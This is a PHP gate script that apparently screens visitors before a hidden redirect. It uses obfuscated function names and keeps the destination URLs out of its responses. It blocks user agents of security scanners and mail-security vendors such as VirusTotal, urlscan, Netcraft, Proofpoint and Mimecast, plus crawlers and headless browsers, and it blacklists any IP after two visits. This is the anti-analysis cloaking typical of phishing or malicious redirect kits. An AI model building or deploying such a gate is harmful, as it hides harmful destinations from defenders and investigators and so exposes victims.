<?php
$DEBUG_API = false;

header('Content-Type: application/json');

// Simple file logger for debugging denied responses
if (!function_exists('api_debug_log')) {
    function api_debug_log($msg) {
        $logDir = __DIR__ . '/data';
        if (!is_dir($logDir)) @mkdir($logDir, 0755, true);
        $file = $logDir . '/debug_api.log';
        $entry = date('[Y-m-d H:i:s] ') . $msg . "\n";
        @file_put_contents($file, $entry, FILE_APPEND | LOCK_EX);
    }
}

// Feed ID (same as your main site)
$fd = 'w990140';

// Token expiry time (must match gate-redirect.php)
$token_expiry = 10; // 10 seconds

// IMPORTANT: Actual redirect URLs are now stored in gate-redirect.php
// This prevents URL exposure in JSON responses

// ============================================
// VISIT TRACKING & IP BLACKLIST CONFIGURATION
// ============================================

// Load configuration from config.json
$config_file = __DIR__ . '/data/config.json';
$config = [];

// Create data directory if it doesn't exist
if (!is_dir(__DIR__ . '/data')) {
    @mkdir(__DIR__ . '/data', 0755, true);
}

// Load configuration file
if (file_exists($config_file)) {
    $config_content = @file_get_contents($config_file);
    if ($config_content) {
        $config = json_decode($config_content, true);
    }
}

// Maximum allowed visits per IP (human only)
// Reads from config.json, defaults to 2 if not set
$max_visits_per_ip = isset($config['max_visits_per_ip']) ? intval($config['max_visits_per_ip']) : 2;

// Data storage files (using .json extension)
$ip_visits_file = __DIR__ . '/data/ip_visits.json';
$ip_blacklist_file = __DIR__ . '/data/ip_blacklist.json';

// ============================================
// END CONFIGURATION
// ============================================

// Enable CORS for cross-origin requests from static server
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');

// Handle preflight OPTIONS request
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit;
}

// Only accept POST requests
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
    http_response_code(405);
    die(json_encode(['error' => 'Method not allowed']));
}

// ============================================
// IP EXTRACTION FUNCTION
// ============================================
if (!function_exists('x8SYQLpUqU')) {
    function x8SYQLpUqU() {
        $xb2zx1 = $_SERVER['SERVER_ADDR'];
        $xXSEJ = '127.0.0.1';
        
        if ((!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) && 
            (($_SERVER['HTTP_CF_CONNECTING_IP']) != $xXSEJ) && 
            (($_SERVER['HTTP_CF_CONNECTING_IP']) != ($xb2zx1))) {
            $ip = $_SERVER['HTTP_CF_CONNECTING_IP'];
        } elseif ((!empty($_SERVER['GEOIP_ADDR'])) && (($_SERVER['GEOIP_ADDR']) != $xXSEJ)) {
            $ip = $_SERVER['GEOIP_ADDR'];
        } elseif ((!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) && 
                  (($_SERVER['HTTP_X_FORWARDED_FOR']) != $xXSEJ) && 
                  (($_SERVER['HTTP_X_FORWARDED_FOR']) != ($xb2zx1))) {
            $ip = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0];
        } elseif ((!empty($_SERVER['HTTP_CLIENT_IP'])) && 
                  (($_SERVER['HTTP_CLIENT_IP']) != $xXSEJ) && 
                  (($_SERVER['HTTP_CLIENT_IP']) != ($xb2zx1))) {
            $ip = $_SERVER['HTTP_CLIENT_IP'];
        } else {
            $ip = $_SERVER['REMOTE_ADDR'];
        }
        
        return $ip;
    }
}

// ============================================
// REFERER FUNCTION
// ============================================
if (!function_exists('xajDADGFvNv')) {
    function xajDADGFvNv() {
        if (empty($_SERVER['HTTP_REFERER'])) {
            $_SERVER['HTTP_REFERER'] = getenv('HTTP_REFERER');
        }
        return $_SERVER['HTTP_REFERER'];
    }
}

// ============================================
// USER AGENT FUNCTION
// ============================================
if (!function_exists('x9PfbWn2bS')) {
    function x9PfbWn2bS() {
        if (empty($_SERVER['HTTP_USER_AGENT'])) {
            $_SERVER['HTTP_USER_AGENT'] = getenv('HTTP_USER_AGENT');
        }
        return $_SERVER['HTTP_USER_AGENT'];
    }
}

// Extract visitor information
$ip = x8SYQLpUqU();
$ref = xajDADGFvNv();
$eRf9t9d9 = x9PfbWn2bS();

if ($DEBUG_API) {
    error_log("=== API DEBUG START ===");
    error_log("IP: " . $ip);
    error_log("User Agent: " . $eRf9t9d9);
    error_log("Referer: " . $ref);
}

// Get POST data from HTML gate
$input = file_get_contents('php://input');
$data = json_decode($input, true);

// If JSON has user agent, use it (sent from HTML)
if (isset($data['ua']) && !empty($data['ua'])) {
    $eRf9t9d9 = $data['ua'];
}

require_once __DIR__ . '/ip_blacklist_loader.php';

if (IPBlacklistLoader::isBlacklisted($ip)) {
    if ($DEBUG_API) error_log("BLOCKED: IP blacklist");
    api_debug_log("DENIED - IP blacklist - IP=" . $ip . " UA=" . ($eRf9t9d9 ?? '') );
    $token = generateRedirectToken('denied');
    header('Content-Type: application/json');
    echo json_encode([
        'is_human' => false,
        'status' => 'denied',
        'token' => $token,
        'reason' => 'blocked',
        'message' => 'Access denied'
    ]);
    exit;
}

// ============================================
// CHECK IP BLACKLIST DATABASE (SECOND PRIORITY)
// ============================================
// This check happens AFTER file-based blacklist
// Once blacklisted in database, IP is permanently blocked
if (isIPBlacklisted($ip)) {
    if ($DEBUG_API) error_log("BLOCKED: IP");
    api_debug_log("DENIED - DB blacklist - IP=" . $ip . " UA=" . ($eRf9t9d9 ?? '') );
    $token = generateRedirectToken('denied');
    header('Content-Type: application/json');
    echo json_encode([
        'is_human' => false,
        'status' => 'denied',
        'token' => $token,
        'reason' => 'blocked',
        'message' => 'Access denied'
    ]);
    exit;
}

// Prepare query string if present
if ($_SERVER['QUERY_STRING'] != '') {
    $dHerF777hg = '' . urlencode($_SERVER['QUERY_STRING']) . '';
} else {
    $dHerF777hg = '';
}

// ============================================
// TOKEN GENERATION FUNCTION
// ============================================
function generateRedirectToken($type) {
    global $token_expiry;
    $current_time = time();
    // Generate token that matches validation in gate-redirect.php
    return md5($type . ':' . $current_time . ':gate_secret_salt');
}

// ============================================
// IP TRACKING & BLACKLIST FUNCTIONS
// ============================================

/**
 * Load IP visits data from file
 * @return array Associative array of IP => visit_count
 */
function loadIPVisits() {
    global $ip_visits_file;
    if (!file_exists($ip_visits_file)) {
        return [];
    }
    $content = @file_get_contents($ip_visits_file);
    if ($content === false) {
        return [];
    }
    $data = @json_decode($content, true);
    return is_array($data) ? $data : [];
}

/**
 * Save IP visits data to file
 * @param array $data Associative array of IP => visit_count
 * @return bool Success status
 */
function saveIPVisits($data) {
    global $ip_visits_file;
    $json = json_encode($data, JSON_PRETTY_PRINT);
    return @file_put_contents($ip_visits_file, $json, LOCK_EX) !== false;
}

/**
 * Load blacklist data from file
 * @return array Associative array of IP => [timestamp, visit_count, reason]
 */
function loadBlacklist() {
    global $ip_blacklist_file;
    if (!file_exists($ip_blacklist_file)) {
        return [];
    }
    $content = @file_get_contents($ip_blacklist_file);
    if ($content === false) {
        return [];
    }
    $data = @json_decode($content, true);
    return is_array($data) ? $data : [];
}

/**
 * Save blacklist data to file
 * @param array $data Associative array of IP => [timestamp, visit_count, reason]
 * @return bool Success status
 */
function saveBlacklist($data) {
    global $ip_blacklist_file;
    $json = json_encode($data, JSON_PRETTY_PRINT);
    return @file_put_contents($ip_blacklist_file, $json, LOCK_EX) !== false;
}

/**
 * Check if IP is blacklisted
 * @param string $ip IP address to check
 * @return bool True if blacklisted, false otherwise
 */
function isIPBlacklisted($ip) {
    $blacklist = loadBlacklist();
    return isset($blacklist[$ip]);
}

/**
 * Add IP to blacklist
 * @param string $ip IP address to blacklist
 * @param int $visit_count Number of visits before blacklist
 * @param string $reason Reason for blacklist
 * @return bool Success status
 */
function addToBlacklist($ip, $visit_count, $reason = 'exceeded_visit_limit') {
    $blacklist = loadBlacklist();
    $blacklist[$ip] = [
        'timestamp' => time(),
        'date' => date('Y-m-d H:i:s'),
        'visit_count' => $visit_count,
        'reason' => $reason,
        'user_agent' => isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'unknown'
    ];
    return saveBlacklist($blacklist);
}

/**
 * Increment visit count for IP
 * @param string $ip IP address
 * @return int New visit count
 */
function incrementIPVisit($ip) {
    global $max_visits_per_ip;
    
    $visits = loadIPVisits();
    
    // Initialize or increment
    if (!isset($visits[$ip])) {
        $visits[$ip] = [
            'count' => 1,
            'first_visit' => time(),
            'last_visit' => time(),
            'dates' => [date('Y-m-d H:i:s')]
        ];
    } else {
        $visits[$ip]['count']++;
        $visits[$ip]['last_visit'] = time();
        $visits[$ip]['dates'][] = date('Y-m-d H:i:s');
    }
    
    $new_count = $visits[$ip]['count'];
    
    // Save visits
    saveIPVisits($visits);
    
    // Check if limit exceeded
    if ($new_count > $max_visits_per_ip) {
        addToBlacklist($ip, $new_count, 'exceeded_visit_limit');
    }
    
    return $new_count;
}

/**
 * Get visit count for IP
 * @param string $ip IP address
 * @return int Visit count
 */
function getIPVisitCount($ip) {
    $visits = loadIPVisits();
    return isset($visits[$ip]) ? $visits[$ip]['count'] : 0;
}

// ============================================
// SMART USER AGENT ANALYSIS WITH RISK SCORING
// ============================================

/**
 * Analyze User Agent with risk scoring system
 * Returns: ['block' => bool, 'risk_score' => int, 'reason' => string, 'is_suspicious' => bool]
 */
function analyzeUserAgent($userAgent) {
    $risk_score = 0;
    $reasons = [];
    $is_suspicious = false;
    
    // ============================================
    // OBVIOUS BOTS - IMMEDIATE BLOCK (High Risk)
    // ============================================
    $obviousBots = [
        // Search engine bots (legitimate but should not access protected content)
        'googlebot', 'bingbot', 'yandexbot', 'slurp', 'duckduckbot', 'baiduspider',
        'bytespider', 'applebot', 'dotbot',
        
        // Social media bots
        'facebookexternalhit', 'twitterbot', 'linkedinbot', 'pinterestbot',
        
        // SEO/Analytics bots
        'ahrefs', 'semrushbot', 'mj12bot', 'rogerbot', 'zoominfobot',
        
        // Scraping tools (OBVIOUS)
        'curl', 'wget', 'python-requests', 'python-urllib', 'java/', 'go-http-client',
        
        // Headless browsers (OBVIOUS)
        'headlesschrome', 'phantomjs', 'selenium', 'webdriver', 'puppeteer',
        'nightmare', 'jsdom', 'htmlunit'
    ];
    
    // Security scanning tools (BLOCK)
    $securityScanners = [
        'scanner', 'scraper', 'crawler', 'spider', 'bot',
        'virustotal', 'sucuri', 'urlscan', 'netcraft',
        'checkpoint', 'barracuda', 'mimecast', 'proofpoint', 'fireeye'
    ];
    
    $userAgentLower = strtolower($userAgent);
    
    // Check for obvious bots (BLOCK immediately)
    foreach ($obviousBots as $signature) {
        if (strpos($userAgentLower, $signature) !== false) {
            return [
                'block' => true,
                'risk_score' => 100,
                'reason' => 'obvious_bot_signature',
                'is_suspicious' => false,
                'matched' => $signature
            ];
        }
    }
    
    // Check for security scanners (BLOCK immediately)
    foreach ($securityScanners as $signature) {
        if (strpos($userAgentLower, $signature) !== false) {
            return [
                'block' => true,
                'risk_score' => 100,
                'reason' => 'security_scanner',
                'is_suspicious' => false,
                'matched' => $signature
            ];
        }
    }
    
    // ============================================
    // SUSPICIOUS PATTERNS - FLAG BUT DON'T BLOCK
    // (Privacy users might trigger these)
    // ============================================
    
    // Empty or very short UA (could be privacy user or bot)
    if (empty($userAgent) || strlen($userAgent) < 10) {
        $risk_score += 20;
        $reasons[] = 'empty_or_short_ua';
        $is_suspicious = true;
    }
    
    // Missing common browser indicators (but might be privacy-modified)
    $hasCommonBrowser = (
        stripos($userAgent, 'chrome') !== false ||
        stripos($userAgent, 'firefox') !== false ||
        stripos($userAgent, 'safari') !== false ||
        stripos($userAgent, 'edge') !== false ||
        stripos($userAgent, 'opera') !== false ||
        stripos($userAgent, 'brave') !== false
    );
    
    if (!$hasCommonBrowser && !empty($userAgent)) {
        $risk_score += 15;
        $reasons[] = 'no_common_browser';
        $is_suspicious = true;
    }
    
    // Very generic UA (suspicious but could be corporate proxy)
    $genericPatterns = ['mozilla/5.0', 'mozilla/4.0'];
    $isGeneric = false;
    foreach ($genericPatterns as $pattern) {
        if ($userAgent === $pattern) {
            $isGeneric = true;
            break;
        }
    }
    if ($isGeneric) {
        $risk_score += 25;
        $reasons[] = 'generic_ua';
        $is_suspicious = true;
    }
    
    // ============================================
    // DECISION: Block only obvious bots, flag suspicious
    // ============================================
    
    // Risk scoring:
    // 0-30: Low risk (likely human, maybe privacy-conscious)
    // 31-60: Medium risk (suspicious, monitor closely)
    // 61-99: High risk (very suspicious, but give benefit of doubt)
    // 100: Definite bot (block)
    
    return [
        'block' => false, // Don't block based on suspicion alone
        'risk_score' => $risk_score,
        'reason' => implode(', ', $reasons),
        'is_suspicious' => $is_suspicious,
        'matched' => null
    ];
}

// ============================================
// PERFORM SMART USER AGENT ANALYSIS
// ============================================
$ua_analysis = analyzeUserAgent($eRf9t9d9);

if ($DEBUG_API) {
    error_log("UA Analysis - Block: " . ($ua_analysis['block'] ? 'YES' : 'NO') . 
              ", Risk Score: " . $ua_analysis['risk_score'] . 
              ", Reason: " . $ua_analysis['reason']);
}

// Only block OBVIOUS bots (risk_score = 100)
if ($ua_analysis['block']) {
    if ($DEBUG_API) error_log("BLOCKED: UA");
    api_debug_log("DENIED - UA blocked - IP=" . $ip . " UA=" . ($eRf9t9d9 ?? '') . " Matched=" . ($ua_analysis['matched'] ?? '') );
    $token = generateRedirectToken('denied');
    header('Content-Type: application/json');
    echo json_encode([
        'is_human' => false,
        'status' => 'denied',
        'token' => $token,
        'reason' => 'blocked'
    ]);
    exit;
}

// If suspicious (but not obviously a bot), continue with monitoring
// Visit limit will catch any abuse
if ($ua_analysis['is_suspicious']) {
    // Log suspicious activity for monitoring
    $suspicious_log_file = __DIR__ . '/data/suspicious_visitors.json';
    $suspicious_log = [
        'timestamp' => date('Y-m-d H:i:s'),
        'ip' => $ip,
        'user_agent' => $eRf9t9d9,
        'risk_score' => $ua_analysis['risk_score'],
        'reason' => $ua_analysis['reason'],
        'action' => 'allowed_with_monitoring'
    ];
    
    if (file_exists($suspicious_log_file)) {
        $existing_logs = json_decode(file_get_contents($suspicious_log_file), true) ?: [];
    } else {
        $existing_logs = [];
    }
    $existing_logs[] = $suspicious_log;
    // Keep only last 100 suspicious visitors
    $existing_logs = array_slice($existing_logs, -100);
    @file_put_contents($suspicious_log_file, json_encode($existing_logs, JSON_PRETTY_PRINT));
    
    // ALLOW to continue - they'll be monitored by visit limit
}

// ============================================
// INDEPENDENT ADVANCED BOT DETECTION SYSTEM
// ============================================
// Replaced external service (findus.rest) with comprehensive independent system
// Includes: reCAPTCHA v3, fingerprinting, behavioral analysis, and more

// Load antibot system
require_once __DIR__ . '/antibot_advanced.php';
require_once __DIR__ . '/config_recaptcha.php';

// Prepare request data for analysis
$request_data = [
    'ip' => $ip,
    'user_agent' => $eRf9t9d9,
    'referer' => $ref,
    'headers' => $_SERVER,
    'fingerprint' => $data['fingerprint'] ?? [],
    'js_challenge' => $data['js_challenge'] ?? null,
    'challenge_seed' => $data['challenge_seed'] ?? '',
    'timing' => $data['timing'] ?? 0,
    'mouse_moved' => $data['mouse_moved'] ?? false,
    'keyboard_used' => $data['keyboard_used'] ?? false,
    'scroll_detected' => $data['scroll_detected'] ?? false
];

// ============================================
// 1. RECAPTCHA v2 VERIFICATION
// ============================================
// reCAPTCHA v2 requires user to solve a visible challenge
// More secure than v3 as it requires active human interaction
$recaptcha_token = $data['recaptcha_token'] ?? '';

if (RECAPTCHA_ENABLED && empty($recaptcha_token)) {
    if ($DEBUG_API) {
        error_log("WARNING: reCAPTCHA v2 token missing - user must solve challenge");
    }
    api_debug_log("DENIED - recaptcha_required - IP=" . $ip . " UA=" . ($eRf9t9d9 ?? '') );
    // v2 REQUIRES token - block if missing
    $token = generateRedirectToken('denied');
    echo json_encode([
        'is_human' => false,
        'status' => 'denied',
        'token' => $token,
        'reason' => 'recaptcha_required',
        'message' => 'Please solve the reCAPTCHA challenge'
    ]);
    exit;
}

$recaptcha_result = (RECAPTCHA_VERSION === 'v3') 
    ? RecaptchaV3::verify($recaptcha_token, $ip)
    : RecaptchaV2::verify($recaptcha_token, $ip);

if ($DEBUG_API) {
    error_log("reCAPTCHA " . RECAPTCHA_VERSION . " - Passed: " . ($recaptcha_result['success'] ? 'YES' : 'NO') .
              (isset($recaptcha_result['error']) ? " (Error: " . $recaptcha_result['error'] . ")" : "") .
              (RECAPTCHA_VERSION === 'v3' ? " (Score: " . ($recaptcha_result['score'] ?? 'N/A') . ")" : ""));
}

if (!$recaptcha_result['success']) {
    if ($DEBUG_API) error_log("BLOCKED: reCAPTCHA v2 verification failed");
    api_debug_log("DENIED - recaptcha_failed - IP=" . $ip . " UA=" . ($eRf9t9d9 ?? '') . " Error=" . ($recaptcha_result['error'] ?? '') );
    $token = generateRedirectToken('denied');
    echo json_encode([
        'is_human' => false,
        'status' => 'denied',
        'token' => $token,
        'reason' => 'recaptcha_failed',
        'message' => isset($recaptcha_result['reason']) ? $recaptcha_result['reason'] : 'reCAPTCHA verification failed'
    ]);
    exit;
}

// ============================================
// 2. ADVANCED ANTIBOT DETECTION
// ============================================
$antibot_result = AdvancedAntibotSystem::detectBot($request_data);

if ($DEBUG_API) {
    error_log("Advanced Detection - Bot Probability: " . $antibot_result['bot_probability'] . "%, " .
              "Confidence: " . $antibot_result['confidence'] . ", " .
              "Reasons: " . implode(', ', $antibot_result['reasons']));
}

if ($antibot_result['is_bot']) {
    if ($DEBUG_API) error_log("BLOCKED: Detection");
    api_debug_log("DENIED - antibot - IP=" . $ip . " UA=" . ($eRf9t9d9 ?? '') . " Reasons=" . implode(',', $antibot_result['reasons']));
    $token = generateRedirectToken('denied');
    echo json_encode([
        'is_human' => false,
        'status' => 'denied',
        'token' => $token,
        'reason' => 'blocked'
    ]);
    exit;
}

// Log successful verification for monitoring
if ($DEBUG_API) {
    error_log("PASSED: Independent detection - reCAPTCHA v2: " . ($recaptcha_result['success'] ? 'VERIFIED' : 'FAILED') . 
              ", Advanced: " . $antibot_result['human_probability'] . "% human");
}

// ============================================
// VISITOR IS HUMAN - TRACK VISIT & SEND TOKEN
// ============================================

// TIME-BASED VISIT TRACKING (NO SESSIONS - BETTER FOR API/CORS)
// ============================================
// IMPORTANT FIX: Only count as a new visit if enough time has passed since last visit
// This prevents counting every API call/page refresh as a separate visit
// 
// HOW IT WORKS:
// - First API call from an IP = counted as visit #1
// - Subsequent API calls within 30 minutes = NOT counted (same "visit")
// - After 30 minutes pass = next API call counts as visit #2
// - This way, normal browsing/refreshing doesn't exhaust the visit limit
// - Uses file-based tracking (no sessions needed for CORS API)
// ============================================

$visit_cooldown_minutes = 30; // Consider same visit if within 30 minutes
$visits = loadIPVisits();
$current_time = time();
$should_count_visit = false;

// Check if this IP has visited before
if (!isset($visits[$ip])) {
    // First time - count as visit #1
    $should_count_visit = true;
} else {
    // Check last visit time
    $last_visit_time = $visits[$ip]['last_visit'];
    $time_since_last_visit = $current_time - $last_visit_time;
    
    // Only count if more than cooldown period has passed
    if ($time_since_last_visit > ($visit_cooldown_minutes * 60)) {
        $should_count_visit = true;
    }
}

// Only increment visit count if this is a genuine new visit
if ($should_count_visit) {
$visit_count = incrementIPVisit($ip);

// Check if IP was just blacklisted (visit count exceeded limit)
if (isIPBlacklisted($ip)) {
    // IP was blacklisted during this visit
    api_debug_log("DENIED - visit_limit_reached - IP=" . $ip . " visits=" . $visit_count );
    $token = generateRedirectToken('denied');
    echo json_encode([
        'is_human' => false,
        'status' => 'denied',
        'token' => $token,
        'reason' => 'visit_limit_reached',
        'message' => 'Access denied: Maximum visits exceeded',
        'visits' => $visit_count
    ]);
    exit;
    }
} else {
    // Not counting as new visit - get current count
    $visit_count = getIPVisitCount($ip);
}

// Human visitor within visit limit - grant access
if ($DEBUG_API) {
    error_log("ALLOWED: Human visitor - Visit " . $visit_count . "/" . $max_visits_per_ip);
    error_log("=== API DEBUG END ===");
}

$token = generateRedirectToken('human');
header('Content-Type: application/json');
echo json_encode([
    'is_human' => true,
    'status' => 'human',
    'token' => $token,
    'timestamp' => time(),
    'visits' => $visit_count,
    'max_visits' => $max_visits_per_ip,
    'remaining_visits' => max(0, $max_visits_per_ip - $visit_count)
]);
exit;
